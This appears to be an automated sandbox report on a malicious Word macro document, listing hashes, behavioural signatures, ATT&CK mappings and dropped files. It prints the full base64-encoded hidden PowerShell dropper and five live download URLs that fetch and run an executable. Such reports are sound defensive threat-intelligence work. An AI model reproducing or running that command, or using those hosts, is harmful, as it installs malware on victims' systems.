487f4dd9bdbe94a9cf1a04a8fdec19f16f86864d05d06f0511544b3ff68c850c

General

Target

virusshare/3/VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc
Size

172KB
MD5

6ad036ba93c94d6976e2d93c7a3aec6f
SHA1

cb098f7a0492454a31f3819a1b7ec143c0c507b6
SHA256

4ee0bf78e3b0a06c35fed0f912db6fabbb5fae13f838cd4132634359ad0d24da
SHA512

525d3ccb7078d6c34287307891023a47773cb3ec94d6e5d54a4c2cb4006be5ae3356238e8fe4ce5ff17767b8326af385a2be735dac8dbe78f10c185c665f7a00
SSDEEP

3072:vw2y/GdyrktGDWLS0HZWD5w8K7Nk9pD7IBUaT7jc5Hw:vw2k4jtGiL3HJk9pD7b+jMQ

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.prorites.com/wp-content/dsdb28de-kw0ch1msvi-003/

exe.dropper

https://www.silvesterinmailand.com/wp-content/uploads/ibvgux-yg4-03475/

exe.dropper

http://homemyland.net/tmp/wUHdeBS/

exe.dropper

https://www.celbra.com.br/old/wp-content/uploads/2019/mbwl6-lwu0psmcb-523/

exe.dropper

http://prihlaska.sagitta.cz/wp-content/uploads/WwcQXtRta/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2288	3532	Powershell.exe	78

Blocklisted process makes network request 6 IoCs

flow	pid	Process
7	2288	Powershell.exe
8	2288	Powershell.exe
9	2288	Powershell.exe
13	2288	Powershell.exe
42	2288	Powershell.exe
43	2288	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2288	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4836	WINWORD.EXE
4836	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2288	Powershell.exe
2288	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2288	Powershell.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE
4836	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4836 wrote to memory of 3888	4836	WINWORD.EXE	79
PID 4836 wrote to memory of 3888	4836	WINWORD.EXE	79

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\3\VirusShare_6ad036ba93c94d6976e2d93c7a3aec6f.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4836
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3888

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABCAHgAdQBoAGkAaABuAHIAdwBrAHoAbgBiAD0AJwBRAHIAYQBnAGkAcAB4AHcAZwAnADsAJABBAG4AdwBtAGkAdwBiAHUAegBoAHAAIAA9ACAAJwAyADEANgAnADsAJABUAHoAbgBsAG8AaQB5AGoAZgA9ACcASABzAHcAeQBkAGQAdwB5AGcAaQBzAGQAaAAnADsAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBuAHcAbQBpAHcAYgB1AHoAaABwACsAJwAuAGUAeABlACcAOwAkAEEAZwBkAGIAbgBjAHAAYQB0AHMAPQAnAEwAZQBkAGUAYwBsAHYAcwBvAGwAcgB0AHQAJwA7ACQAVwBuAGsAdgB4AHcAYgBhAD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBCAEMATABpAEUAbgBUADsAJABXAHoAagBsAGkAbABqAGMAZQA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHAAcgBvAHIAaQB0AGUAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGQAcwBkAGIAMgA4AGQAZQAtAGsAdwAwAGMAaAAxAG0AcwB2AGkALQAwADAAMwAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AcwBpAGwAdgBlAHMAdABlAHIAaQBuAG0AYQBpAGwAYQBuAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AaQBiAHYAZwB1AHgALQB5AGcANAAtADAAMwA0ADcANQAvACoAaAB0AHQAcAA6AC8ALwBoAG8AbQBlAG0AeQBsAGEAbgBkAC4AbgBlAHQALwB0AG0AcAAvAHcAVQBIAGQAZQBCAFMALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAZQBsAGIAcgBhAC4AYwBvAG0ALgBiAHIALwBvAGwAZAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AMgAwADEAOQAvAG0AYgB3AGwANgAtAGwAdwB1ADAAcABzAG0AYwBiAC0ANQAyADMALwAqAGgAdAB0AHAAOgAvAC8AcAByAGkAaABsAGEAcwBrAGEALgBzAGEAZwBpAHQAdABhAC4AYwB6AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBXAHcAYwBRAFgAdABSAHQAYQAvACcALgAiAHMAcABgAGwAaQB0ACIAKAAnACoAJwApADsAJABNAHkAYgB3AGYAZQBmAGgAcgA9ACcAUgB0AHMAcwBkAGcAdQBlAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFoAbABxAHYAcQBnAHMAZgB4AGoAYwByAGEAIABpAG4AIAAkAFcAegBqAGwAaQBsAGoAYwBlACkAewB0AHIAeQB7ACQAVwBuAGsAdgB4AHcAYgBhAC4AIgBEAG8AYABXAG4ATABgAE8AQQBkAEYAaQBsAEUAIgAoACQAWgBsAHEAdgBxAGcAcwBmAHgAagBjAHIAYQAsACAAJABUAG4AcwBlAHIAdABrAGQAegBlAHAAegApADsAJABEAHAAcgBtAG4AdQBvAHAAPQAnAEUAdgBjAGIAcwB2AGQAdABnACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQAuACIAbABlAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADcANgA2ADkAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGEAYABSAHQAIgAoACQAVABuAHMAZQByAHQAawBkAHoAZQBwAHoAKQA7ACQAWQB1AGIAYQB2AGkAbAB6AHAAeQBuAGsAdgA9ACcAVABxAGsAdABiAHcAeABtAHkAJwA7AGIAcgBlAGEAawA7ACQATABrAHIAawBlAHcAcQBlAHIAeABrAD0AJwBHAGUAawBzAGcAaQBzAGYAZwByAGoAZAB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAYgBoAGQAbABmAHcAYgBoAGUAPQAnAFUAcgB0AGgAaQBkAGwAbQB4AG0AZQAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2288

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\D968FED2.wmf

Filesize
444B

MD5
5c3d925410e1b24588ff388572a3ee40

SHA1
fb232446a8d1961e88e6faeee9aece4546cc9ef4

SHA256
1e889e617fc684362b827afc1fd37ae0f22149e3aa7d539905747e30bca75cda

SHA512
13c5f19dc544a268ba1be0a7fefd1ebb32b497ff19e72494bee7d8d61ce9614d2d6e63392fc5cad84c690bb6bf6310111f75a8cee45dcc2b3a830f57f1bf40d4

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD8AEF.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jpcxu3bd.v01.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
18KB

MD5
d76a3e68d0c339fca10337f6227f8c72

SHA1
8b0117e4056995725011bc4d4908ffbbf9e63785

SHA256
0a028e44b691d1b917798c93fa77e42166902e673274cd4745a8ed0ea845856f

SHA512
8af8d69e64aa6fd2a007a493c95dfb1d5f12d51bd1aebb1c5a1eb1db356c10a8801440f554f537e19ffc3ae4b6c0767d31467c7f6fabd7427d2dd4746cc76b8a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/2288-52-0x000002869B410000-0x000002869B432000-memory.dmp

Filesize
136KB

Download
memory/4836-4-0x00007FFF711F0000-0x00007FFF71200000-memory.dmp

Filesize
64KB

Download
memory/4836-2-0x00007FFF711F0000-0x00007FFF71200000-memory.dmp

Filesize
64KB

Download
memory/4836-0-0x00007FFF711F0000-0x00007FFF71200000-memory.dmp

Filesize
64KB

Download
memory/4836-10-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-9-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-11-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-12-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-13-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-14-0x00007FFF6E650000-0x00007FFF6E660000-memory.dmp

Filesize
64KB

Download
memory/4836-15-0x00007FFF6E650000-0x00007FFF6E660000-memory.dmp

Filesize
64KB

Download
memory/4836-8-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-6-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-7-0x00007FFF711F0000-0x00007FFF71200000-memory.dmp

Filesize
64KB

Download
memory/4836-5-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-63-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-64-0x00007FFFB1203000-0x00007FFFB1204000-memory.dmp

Filesize
4KB

Download
memory/4836-65-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-66-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-67-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-68-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download
memory/4836-3-0x00007FFF711F0000-0x00007FFF71200000-memory.dmp

Filesize
64KB

Download
memory/4836-1-0x00007FFFB1203000-0x00007FFFB1204000-memory.dmp

Filesize
4KB

Download
memory/4836-579-0x00007FFF711F0000-0x00007FFF71200000-memory.dmp

Filesize
64KB

Download
memory/4836-580-0x00007FFF711F0000-0x00007FFF71200000-memory.dmp

Filesize
64KB

Download
memory/4836-582-0x00007FFF711F0000-0x00007FFF71200000-memory.dmp

Filesize
64KB

Download
memory/4836-581-0x00007FFF711F0000-0x00007FFF71200000-memory.dmp

Filesize
64KB

Download
memory/4836-583-0x00007FFFB1160000-0x00007FFFB1369000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads